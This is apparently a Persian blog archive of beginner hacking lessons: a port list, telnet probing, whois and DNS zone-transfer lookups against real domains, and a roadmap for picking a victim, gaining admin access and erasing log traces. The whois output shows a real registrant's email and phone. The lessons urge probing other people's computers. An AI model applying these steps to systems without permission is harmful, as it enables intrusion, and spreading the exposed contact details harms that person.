396 tcp netware-ip
407 tcp timbuktu
443 tcp https/ssl
445 tcp ms-smb-alternate
445 udp ms-smb-alternate
500 udp ipsec-internet-key-exchange (ike)
513 tcp rlogin
513 udp rwho
514 tcp rshell
514 udp syslog
515 tcp printer
515 udp printer
520 udp router
524 tcp netware-ncp
799 tcp remotely possible
1080 tcp socks
1313 tcp bmc-patrol-db
1352 tcp notes
1433 tcp ms-sql
1494 tcp citrix
1498 tcp sybase-sql-anywhere
1524 tcp ingres-lock
1525 tcp oracle-srv
1527 tcp oracle-tli
1723 tcp pptp
1745 tcp winsock-proxy
2000 tcp remotely-anywhere
2001 tcp cisco-mgmt
2049 tcp nfs
2301 tcp compaq-web
2447 tcp openview
2998 tcp realsecure
3268 tcp ms-active-dir-global-catalog
3268 udp ms-active-dir-global-catalog
3300 tcp bmc-patrol-agent
3306 tcp mysql
3351 tcp ssql
3389 tcp ms-termserv
4001 tcp cisco-mgmt
4045 tcp nfs-lockd
5631 tcp pcanywhere
5800 tcp vnc
6000 tcp xwindows
6001 tcp cisco-mgmt
6549 tcp apc
6667 tcp irc
8000 tcp web
8001 tcp web
8002 tcp web
8080 tcp web
9001 tcp cisco-xremote
12345 tcp netbus
26000 tcp quake
31337 udp backorifice
32771 tcp rpc-solaris
32780 udp snmp-solaris
43188 tcp reachout
65301 tcp pcanywhere-def




- چگونه به يک پورت Telnet کنيم؟

برای اينکه عملکرد يک پورت برای شما روشن شود، بايد به آن پورت Telnet کنيد. (البته معمولا تعدادی از پورت‌هايی را که ممکن است اطلاعاتی مهم را در اختيار هکر‌ها قرار دهند مثل پورت ۷۹ معمولا بسته است و ارتباط با آنها شايد برقرار نشود.) برای telnet کردن در command prompt دستور زير را تايپ کنيد:

  telnet hostname   portnum 

در اين دستور به‌جای hostname شماره ip و يا نام سايت را وارد می‌کنيد و به‌جای portnum شماره پورت و يا معادل آن از جدول. مثلا برای تلنت کردن به پورت ۱۳ که ساعت و تاريخ را به‌دست می‌دهد در کامپيوتری به‌ اسم www.iums.ac.ir مي‌نويسيد:

  telnet iums.ac.ir 13 
telnet iums.ac.ir daytime

هر دو اين دستورات معادل هم هستند.
تلنت کردن معمولا اولين کاری است که يک هکر برای هک کردن يک سايت انجام می‌دهد، زيرا بعضی از پورت‌ها در صورت بسته نبودن روی آن سرور، معمولا حاوی اطلاعات بسيار مهمی هستند.
همين الان شروع کنيد و مثل يک هکر واقعی به کامپبوتر‌های مختلف و پورت‌های گوناگون تلنت کنيد.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:23 قبل از ظهر  به دست ابی | 

Whois چيست؟


تعريف کلی برای whois نمی‌توان ارائه داد ولی فعلا منظور ما از Whois همان کسب اطلاعات در مورد يک سايت است. (قبلا با نوع خاصی از whois برای تبديل domain به ip آشنا شده‌ايد).
کاری که امروز می‌خواهم انجام دهم کسب اطلاعات در مورد يک شماره ip و يا يک domain (مثلا irib.com ) خاص است. برای کسب اين اطلاعات بايد به اينترنت وصل شده و به‌طريقی به يک سری سايت‌های خاص که وظيفه ثبت domain , ... را دارند متصل شده و اطلاعات را از آنها درخواست کنم. اين سايت‌های خاص database (بانک‌های اطلاعاتی) ويژه اين وظايف را دارند. برای کسب اين اطلاعات از سايت‌ها روش‌های زير را می‌توان به‌کار برد:

۱- اگر از طريق سيستم عامل يونيکس يا لينوکس به اينترنت وصل شده‌ايد، دستوری به اسم whois در آنها وجود دارد. و يا می‌توانيد از نرم‌افزارهای خاصی که برای اين سيستم‌عامل‌ها وجود دارد (مثل Xwhois ) استفاده کنيد. ولی فعلا بحث روی ويندوز است و اين دستور در ويندوز وجود ندارد.

۲- برای whois کردن در ويندوز نرم‌افزارهای زيادی وجود دارد (که به زودی نوشتن يک whois متوسط را در زبان C ياد خواهم داد.) از مشهورترين اين نرم‌افزارها Netscan tools و SamSpade است. ولی از اينها هم فعلا صرف نظر می‌کنم تا شما بيشتر با جزئيات اين‌ کار آشنا شويد.

۳- روشی که ما در اين جلسه به کار می‌بريم، استفاده از سايت‌هايی است که اين جستجو را برای ما انجام می‌دهند. بحث را شروع می‌کنم:


- datebase های whois در چه سايت‌هايی وجود دارد؟

تعداد زيادی از سايت‌ها اين داده‌ها را دارند که مشهورترين‌ها عبارتند از:

whois.internic.net (The InterNIC)
whois.onlinenic.com (The OnLineNIC)
whois.arin.net (American Registry for Internet Numbers)
whois.ripe.net (European IP Address Allocations)
whois.apnic.net (European IP Address Allocations)
whois.nic.mil (US Military)
whois.nic.gov (US Government)

اولين سايت مشهورترين سايت ثبت domain برای org , net , com است.
توجه کنيد که امروزه سايت‌های مختلفی عمل ثبت domain را انجام می‌دهند و برای اينکه در مورد يک سايت خاص (که در واقع يک domain خاص دارد) اطلاعاتی کسب کنيم بايد اطلاعات مربوطه را از آن سايتی بگيريم که ثبت domain را انجام داده است و چون اين کار مشکلی است به جای استفاده از خود سايت‌های بالايی، از سايت‌هايی ديگر استفاده می‌کنيم که اين کار را برای ما ساده‌تر می‌کنند (خود آن سايت‌ها در نهايت اطلاعاتشان را از سايت‌های اصلی می‌گيرند و فقط يک نقش واسط دارند... لازم به‌ذکر است که ايجاد چنين صفحات وبی زياد هم مشکل نيست.). سايت مورد علاقه من برای کسب اطلاعات سايت زير است:

http://www.samspade.org/t/whois?a=xxxxxxxxx

که بجای xxxxxxxxx آدرس سايت و يا ip آنرا می‌نويسيم و آدرس حاصله را در مرورگر خود می‌بينيم. مثلا اگر بخواهم در مورد سايت sazin.com اطلاعاتی به‌دست بياورم، می‌نويسم:

http://www.samspade.org/t/whois?a=sazin.com

و اطلاعات زير به دست می‌آيد:

sazin.com is registered with BULKREGISTER.COM, INC. - redirecting 
to whois.bulkregister.com

whois -h whois.bulkregister.com sazin.com
The data in Bulkregister.com"s WHOIS .........................(deleted)

SazinNetWork
2nd.Floor,Bldg#116,Mollasadra Ave.
Tehran, TEH 14358
IR

Domain Name: SAZIN.COM

Administrative Contact:
Mohammad Hajati mjhajati@hotmail.com
Sazin Rasaneh Co.
4th.Floor,Bldg.339,Mirdamad Ave.
Tehran, TEH 19696
IR
Phone: +98 21 8787064
Fax: +98 21 8789841
Technical Contact:
Mohammad Hajati mjhajati@hotmail.com
Sazin Rasaneh Co.
4th.Floor,Bldg.339,Mirdamad Ave.
Tehran, TEH 19696
IR
Phone: +98 21 8787064
Fax: +98 21 8789841

Record updated on 2002-03-02 05:47:36
Record created on 1999-05-10
Record expires on 2007-05-10
Database last updated on 2002-09-15 08:58:02 EST

Domain servers in listed order:

DNS.SAZIN.COM 80.78.134.221
S1.SAZIN.COM 63.148.227.63
S2.SAZIN.COM 63.148.227.64

ملاحظه می‌کنيد که اطلاعات زيادی در مورد اين سايت را به اين طريق می‌توان به‌دست آورد. اطلاعاتی درمورد آدرس ISP ، شخصی که به‌عنوان Admin کار ثبت را انجام داده است و ... البته باز هم نمی‌توان در مورد صحت و سقم آن اظهارنظر قطعی داشت.
تعدادی از مهمترين اطلاعات را در قسمت DNS Servers يا Domain servers (که در اين مثال در آخر قرار دارد) مي‌بينيد. بعدا در مورد اين آدرس‌ها توضيح خواهم داد ولی فعلا می‌گم که به کمک همين چند آدرسی که در آخر به‌دست آورديم به کمک دستوری به نام nslookup می‌توان اطلاعات با ارزش‌تری به‌دست آورد که به‌زودی ياد می‌گيريد.


- ادامه بحث whois

قبلا در مورد ip whois و dns whois صحبت کردم. بحث dns whois (کسب اطلاعات در مورد يک domain خاص) رو ادامه می‌دم.
از سايت SamSpade استفاده کردم. اگر اين whois رو تست کرده باشيد، می‌دانيد که برای يک سری از domain (دامنه) ها، جواب نمی‌دهد. مثال آن سايت‌هايی است که دارای دامنه جغرافيايی مثلا ايران هستند، در مورد دامنه‌های جغرافيايی ايران بايد گفت که به ir. ختم می‌شوند ( مثلا: neda.net.ir ). مثال ديگری که در whois سايت SamSpade کار نمی‌کند، تعدادی از دامنه‌های org , .net , .com. هستند که در internic.net ثبت نشده‌اند، بلکه در domainpeople.com ثبت شده‌اند ( مثلا sanjesh.org ). چند سال پيش ثبت domain هايی که در گروه org, net, com بودند، مختص به internic.net بود ولی الان ديگر اينطور نيست.

کاری که شما بايد برای whois کردن بايد انجام دهيد، توجه به نوع آن domain است که از نوع com است يا ir است يا biz است و ... بعد از آن از يکی از سايت‌های زير استفاده کنيد :

۱- internic.net :
برای edu , org , net , com عالی است. برای museum , int , info , coop , biz , arpa, aero هم‌ می‌تواند استفاده شود.
صفحه وب مربوطه عبارت‌ است از  
http://www.internic.net/whois.html
يا می‌توانيد مستقيما در مرورگر بنويسيد:
http://www.internic.net/cgi/whois?type=domain&whois_nic=xxxxxxxx  که به‌جای xxxxxxxx مثلا بايد بنويسيد: far30.com

۲- nic.ir :
برای ir  استفاده می‌شود.
صفحه وب مربوطه عبارت‌ است از  
/http://whois.nic.ir

۳- www.tv :
برای cc , info , biz , tv عالی است.
صفحه وب مربوطه عبارت‌ است از  
/http://www.tv
يا می‌توانيد مستقيما در مرورگر بنويسيد:
http://www.tv/en-def-8e33e8cf5e3c/cgi-bin/whois.cgi?domain=yyyyyy&tld=zzzz  که اگر بخواهم مثلا hack.tv را whois کنم به‌جای yyyyy بايد بنويسيد hack و به جای zzzz بايد بنويسيد tv

۴- domainpeople.com :
برای name , biz , info , org , net , com عالی است.
صفحه وب مربوطه عبارت‌ است از  
/http://whois.domainpeople.com


همانطور که ملاحظه می‌فرماييد، org , net , com در ۱ و ۴ مشترک است. علت آن است که بعضی‌ها در اولی و بعضی‌ها در چهارمی ثبت می‌شوند ولی برای whois کردن فرقی نمی‌کنه که شما از اولی استفاده کنيد يا چهارمی چون همديگر رو ساپورت می‌کنند.


- چگونگی استفاده از nslookup

وقتی که DNS Server يک سايت را به‌دست آورده باشيم (از طريق whois )، به کمک دستور nslookup مي‌توان اطلاعاتی اضافی در مورد آن سايت پيدا کرد. طريقه استفاده اين دستور به صورت زير است:
فرض کنيد که من می‌خواهم از Domain Server سايت خودم (far30.com) اطلاعاتی به‌دست بيارم. اگر به اين سايت whois کنم، می‌بينم که دوتا Name Server يا DNS Server دارد:

s1.sazin.com
s2.sazin.com

حالا ديگر آدرس DNS Server مربوط به far30.com را دارم و می‌توانم شروع کنم:

۱- دستور nslookup را در command prompt نوشته و اجرا می‌کنم:

C:>nslookup

و نتايج را می‌بينم:

*** Can"t find server name for address 192.168.20.3: Non-exi...
*** Can"t find server name for address 192.168.20.1: Non-exi...
*** Default servers are not available
Default Server: UnKnown
Address: 192.168.20.3

>

علامت > يعنی شما می‌توانيد دستورات را تايپ کنيد.

۲- در جلوی علامت < دستور زير را تايپ می‌کنيم:

> server dns_server

که به جای dns_server بايد آدرس DNS Server سايت موردنظر را بنويسم. پس برای سايت far30.com می‌شود:

> server s1.sazin.com

و جواب می‌شنوم:

Default Server:  s1.sazin.com
Address: 63.148.227.63

اگر در اين مرحله پيغام خطا می‌گيريد، بايد دوباره اين دستور را تايپ کنيد و نيز می‌توانيد از DNS Server دومی که در whois برای far30.com به‌دست آورديم ، استفاده کنيم.

۳- دستور زير را تايپ کنيد:

> set type=any


۴- حالا به کمک دستور زير اطلاعات را به‌دست می‌آوريم:

> ls -d  site_name .

که برای far30.com می‌شود:

>ls -d far30.com.

دقت کنيد که بعد از اسم سايت يک نقطه (dot) گذاشته‌ام، شما هم بهتر است اينطوری بنويسيد.
نتايج زير حاصل می‌شود:

[s1.sazin.com]
far30.com. SOA s1.sazin.com admin.sazin.com.
(2002070412 3600 600 86400 3600)
far30.com. A 63.148.227.65
far30.com. NS s1.sazin.com
far30.com. NS s2.sazin.com
far30.com. MX 10 mail.far30.com
far30.com. MX 15 far30.com
ftp CNAME far30.com
mail A 63.148.227.65
www CNAME far30.com
far30.com. SOA s1.sazin.com admin.sazin.com.
(2002070412 3600 600 86400 3600)
>

بعدا در مورد کاربرد تک‌تک اينها صحبت خواهم کرد ولی بعضی از آنها همين‌طوری هم اطلاعات واضحی دارند.

۵- دستور exit را مقابل < تايپ کرده و از nslookup خارج می‌شويم.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:22 قبل از ظهر  به دست ابی | 

IP




- IP

شماره‌ ايست که به هر کامپيوتر متصل به اينترنت داده می‌شود تا بتوان به‌کمک آن شماره به آن کامپيوترها دسترسی داشت. اين عدد برای کامپيوترهايی که حالت سرور دارند (مثلا سايت‌ها) و نيز کامپيوتر‌های کلاينتی که معمولا به روشی غير از شماره‌گيری (Dial Up) به اينترنت وصل هستند، عددی ثابت و برای ديگران عددی متغير است. مثلا هر بار که شما با شرکت ISP خود تماس گرفته و به اينترنت وصل می‌شويد، عددی جديد به شما نسبت داده می‌شود.
اين عدد يک عدد ۳۲ بيتی (۴ بايتی) است و برای راحتی به‌صورت زير نوشته می‌شود:
xxx.xxx.xxx.xxx که منظور از xxx عددی بين ۰ تا ۲۵۵ است (البته بعضی شماره‌ها قابل استفاده نيست که بعدا علت را توضيح خواهم داد). مثلا ممکن است آدرس شما به صورت 195.219.176.69 باشد. حتی اسم‌هايی مثل www.yahoo.com که برای اتصال استفاده می‌کنيد، در نهايت بايد به يک IP تبديل شود، تا شما سايت ياهو را ببينيد.
در IP معمولا xxx اولی معنای خاصی دارد، که بعدا توضيح می‌دهم... فقط اين را بگويم که اگر به روش Dial Up به اينترنت وصل شويد، معمولا عددی که به عنوان xxx اول می‌گيريد، مابين 192 تا 223 خواهد بود.اين توضيح برای تشخيص کامپيوترهای کلاينت از سرور (حداقل در ايران) بسيار می‌تواند مفيد باشد.
بعد از اتصال به اينترنت برای به دست آوردن IP خود، از دستور IPCONFIG در command prompt استفاده کنيد. (البته يک سری نکات فنی داريم که بعدا می‌گم)


- Port

در ساده ترين تعريف، محلی است که داده‌ها وارد با خارج می‌شوند. در مبحث هک معمولا با پورت‌های نرم‌افزاری سروکار داريم که به هر کدام عددی نسبت می‌دهيم. اين اعداد بين ۱ و ۶۵۵۳۵ هستند. معمولا به يک سری از پورت‌ها کار خاصی را نسبت می‌دهند و بقيه به‌صورت پيش‌فرض برای استفاده شما هستند. پورت‌های که فعال هستند، هرکدام توسط يک نرم‌افزار خاص مديريت می‌شوند. مثلا پورت ۲۵ برای ارسال Email است، بنابراين بايد توسط يک نرم‌افزار اين کار انجام شود و اين نرم‌افزار بر روی پورت ۲۵ منتظر (فال‌گوش) می‌ماند. اينجا ممکن است شخصی از فلان نرم‌افزار و ديگری از بهمان نرم‌افزار استفاده کند ولی به‌هر حال پورت ۲۵ هميشه برای ارسال Email است.
در پايين ليستی از مهمترين پورت‌ها و کاربردشان را می‌بينيد:

Port Num   Service         Why it is phun!
-------- ------- ----------------------------------------
7 echo Host repearts what you type
9 discard Dev/null
11 systat Lots of info on users
13 daytime Time and date at computers location
15 netstat Tremendous info on networks
19 chargen Pours out a stream of ASCII characters.
21 ftp Transfers files
23 telnet Where you log in.
25 smpt Forge email
37 time Time
39 rlp Resource location
43 whois Info on hosts and networks
53 domain Nameserver
70 gopher Out-of-date info hunter
79 finger Lots of info on users
80 http Web server
110 pop Incoming email
119 nntp Usenet news groups -- forge posts, cancels
443 shttp Another web server
512 biff Mail notification
513 rlogin Remote login
who Remote who and uptime
514 shell Remote command, no password used!
syslog Remote system logging
520 route Routing information protocol


از ميان اين پورت‌ها شماره‌های ۷، ۱۵، ۲۱، ۲۳، ۲۵، ۷۹، ۸۰، ۱۱۰و ۱۱۹ فعلا برای ما مهم‌ترند و به‌تدريج با آنها آشنا خواهيد شد.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:20 قبل از ظهر  به دست ابی | 

ترمينولوژی (اصطلاح‌شناسی)


- Hacker کيست ؟
هکر کسی است که با سيستم های کامپيوتری آشناست و می‌تواند با روش‌هايی خاص (بدون اجازه) وارد آنها شود... اين انسان می‌تواند خوب يا بد باشد ( در هر حال هکر است )

- سوال: يک هکر از چه راهی وارد يک سيستم می‌شود؟
از راه شبکه (نه بابا ! )
بايد توجه کنيد که هر سيستم کامپيوتری (به عبارت بهتر هر سيستم عامل) به هر حال محصول کار تعدادی انسان است و حتما دارای تعدادی bug (خطاهايی که بعد از ارائه محصول به بازار به تدريج کشف می‌شوند) خواهد بود. بعد از اينکه يک باگ مشخص شد، شرکت ها نرم‌افزارهايی را به‌سرعت (در عرض چند ساعت ) ايجاد می‌کنند تا مشکل رفع شود اين‌ها را patch می‌گويند. و بعد مديران شبکه (Wbemasters) در عرض چند روز تا چند سال (آين آخری در مورد ايرانه) آنها را download کرده و مشکل را حل می‌کنند. در اين فاصله هکرها دمار از روزگار اين سايت‌ها در می‌اورند...

- تعريف چند اصطلاح:

*** Hacker واقعی = سامورايی :
کسی که هدفش از نفوذ به سيستم‌ها نشان دادن ضعف سيستم‌های کامپيوتری است نه سوءاستفاده ...

*** Wacker (واکر):
کسی که هدفش از نفوذ به سيستم‌ها، استفاده از اطلاعات آن سيستم‌هاست (جرو هکر‌های کلاه‌ سياه )

*** Cracker (کراکر):
کسی که هدفش از نفوذ به سيستم‌ها، خرابکاری و ايجاد اختلال در سيستم‌های کامپيوتری است. (جرو هکر‌های کلاه‌ سياه )

*** Preaker :
از قديمي‌ترين هکرها هستند که برای کارشان نياز (و دسترسی) به کامپيوتر نداشتند و کارشان نفوذ به خطوط تلفن برای تماس مجانی، استراق‌سمع و ... بود. اين جزو آموزش من نيست چون کار خيلی بديه (-;


- زنگ ‌تفريح

- تقسيم بندی من برای هکر ها:

۱- جوجه‌هکرها (احمق کوچولوها):
توانايی‌ها: بلدند از Sub 7 , 187 استفاده کنند و فکر کنند ديگه همه‌چی رو ياد گرفته‌اند !

۲- خروس‌هکر‌ها يا مرغ‌هکرها (احمق‌های بزرگتر):
توانايی‌ها: Mail Box را هم می‌توانند Bomb کنند ... ماشاءالله !

۳- هکرهای قابل‌احترام ( مثل خود شما):
دارند ياد می‌گيرند و هنوز ۲،۳ سال کار دارند.

۴- هکرهای پيش‌کسوت:
ديگه آفتاب لبه بومه ... هکرهای قابل احترام را دوس دارند


- تقسيم‌بندی

- انواع کامپيوتر‌های شبکه:
=> کامپيوترهای Server : کامپيوترهايی که کارشان تامين اطلاعات در شبکه است، مثلآ کامپيوترهايی که سايت‌ها را نگه می‌دارند.
=> کامپبوتر‌های Client : کامپيوترهايی که استفاده کننده هستند مثل همين کامپيوتر خودتان که داريد ازش کار می‌کشيد.


- انواع سيستم‌ عامل‌هايی که Server ها از آن استفاده‌ می‌کنند:

=> سيستم‌های فعلی:
* خانواده Unix (مثل FreeBSD, Linux, Sun Solaris )
* خانواده Windows (مثل WinNT, Win2000 )
* OsMac
=> سيستم‌های قديمی (منقرض شده - آخيش ! ):
AIX, IRIS, DEC10, DEC20 , ...


- سوال: کدام‌ها را بايد ياد گرفت؟
Win2000, Unix(Linux) را بايد ياد بگيريد. پيشنهاد من اين است که Win2000و RedHat Linux را روی کامپيوتر خود همزمان داشته باشيد.


- برای شروع چه چيزی لازم است؟

۱- Win2000 , Linux را روی کامپيوتر خود نصب کرده و شروع به يادگيری کنيد.
۲- شروع به يادگيری زبان C کنيد.
۳- شروع به يادگيری TCP/IP کنيد. (يک کتاب بخريد )
۴- مهمترين چيز علاقه به طی کردن يک را بسييييييار طوووووولانی


- تقسيم‌بندی انواع حملات

اولين نکته‌ای که لازم است بگويم اينه که وقت خود را برای هک کردن کامپيوتر‌های کلاينت هدر ندهيد (اگرچه برای افراد مبتدی کار با نرم‌افزاری مثل Sub7 زياد هم بد نيست ولی نبايد زياده‌روی کرد) علت هم اينه که هربار که به اينترنت وصل می‌شوند ip جديدی به‌ آنها اختصاص پيدا می‌کنه و زحماتتون هدر می‌ره (البته برای جلوگيری از اين امر هم روشهايی هست که در آينده ايشالله ميگم).
حالا تقسيم‌بندی:
۱- حمله به روش Denial of Service Attack) DoS)
۲- حمله به روش Exploit
۳- حمله به روش Info Gathering (تلنت کردن يکی از مثالهای آن است که امروز آموختيد)
۴- حمله به روش Disinformation

در مورد هرکدام به‌زودی توضيح می‌دم.


- 133t Speak چيست؟

گاهی هکرها در هنگام نوشتن به جای تعدادی از حروف انگليسی معادل‌های قراردادی به کار می‌روند که ليست آنها را در زير می‌بينيد:

0    <= O
1 <= L; I
2 <= Z
3 <= E
4 <= A
5 <= S
6 <= G
7 <= T
8 <= B
| <= L; I
@ <= at (duh)
$ <= S
)( <= H
}{ <= H
// <= N
// <= W
// <= M
|> <= P; D
|< <= K
ph <= f
z <= s



مثلا he Speaks می‌شود:

}{3 $|>34|< z

توصيه من اينه که از اين معادل‌ها تا جايی که می‌تونيد استفاده نکنيد. فقط ياد بگيريد که کم نياريد.


- ترسيم مسير برای آينده

۱- اولين و مهمترين تصميم انتخاب نوع کامپيوتری است که می‌خواهيد هک کنيد ( کلاينت يا سرور )، زيرا روش‌هک کردن اين‌دو بجز در مراحل ابتدايی کاملا متفاوت است.
۲- دومين گام انتخاب يک کامپيوتر مشخص (مثلا کامپيوتری که فلان سايت را نگه می‌دارد که مثالی برای کامپيوتر سرور است و يا کامپیوتر فلان شخصی که با او چت می‌کنيد که مثالی برای کامپيوتر کلاينت است) و جمع‌آوری اطلاعات در مورد آن است. اين جمع‌آوری اطلاعات از قربانی (Victim) را Footprinting گويند. اولين مشخصه‌ای که بايد کشف شود، ip اوست. يکی ديگر از اطلاعات مهم که معمولا دنبالش هستيم، پيدا کردن نوع سيستم‌عامل و نيز برنامه‌هايی است که کامپيوتر شخص از آنها بهره می‌برد. يکی از مهمترين ( و گاه خطرناک‌ترين) کارها، تست‌کردن پورت‌های آن کامپيوتر برای ديدن اينکه کدام پورت‌ها باز و کدام‌ها بسته هستند.
۳- مرحله بعدی در واقع شروع تلاش برای نفوذ به سيستم است. اين نفوذ سطوح مختلف دارد و بالاترين آن که در کامپيوترهای سرور روی می‌دهد، حالتی است که بتوان username و password مربوط به مدير کامپيوتر (administrator) يا superuser را به‌دست آورده و از طريق اين Shell Account به نهايت نفوذ دست‌ يابيم ولی گاه به‌دلايل مختلف (مربوط به سطح علمی خود و ... ) نمی‌توان به اين سطح دست‌يافت اما به هر حال برای مرحله بعدی می‌تواند استفاده شود. اين مرحله جايی است که هنر شما يه عنوان يک هکر آغاز شده و نيز به پايان می‌رسد.
۴- اين مرحله بعد از نفوذ روی می‌دهد که در آن به يک سطحی از کنترل سيستم رسيده‌ايد. رفتار شما در اين مرحله مشخص می‌کند که چه نوع هکر هستيد(سامورايی، واکر و يا کراکر) و اينکه آيا جنبه ياد گرفتن را داشته‌ايد يا نه، همينجا مشخص خواهد شد.
۵- مرحله آخر پاک کردن ردپاست تا گير نيفتيم (البته بعضی وقتها برای کلاس گذاشتن بايد گير بيفتيم، هه هه ...). بعضی از سيستم‌ها آمار login را نگه می‌دارند که در مورد آنها اين مرحله بسيار مهم است.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:17 قبل از ظهر  به دست ابی | 
 
برگ نخست
نامه نگاری
بایگانی
درباره تارنما
خوش آمدید

پیوندهای روزانه
برگردان نام به نوشتار ميخي
بایگانی پیوندهای روزانه
نوشته های پیشین
هفته اوّل مهر 1388
 

 RSS

برگرفته از
http://gubriyas.tk

گرد آورنده

ابی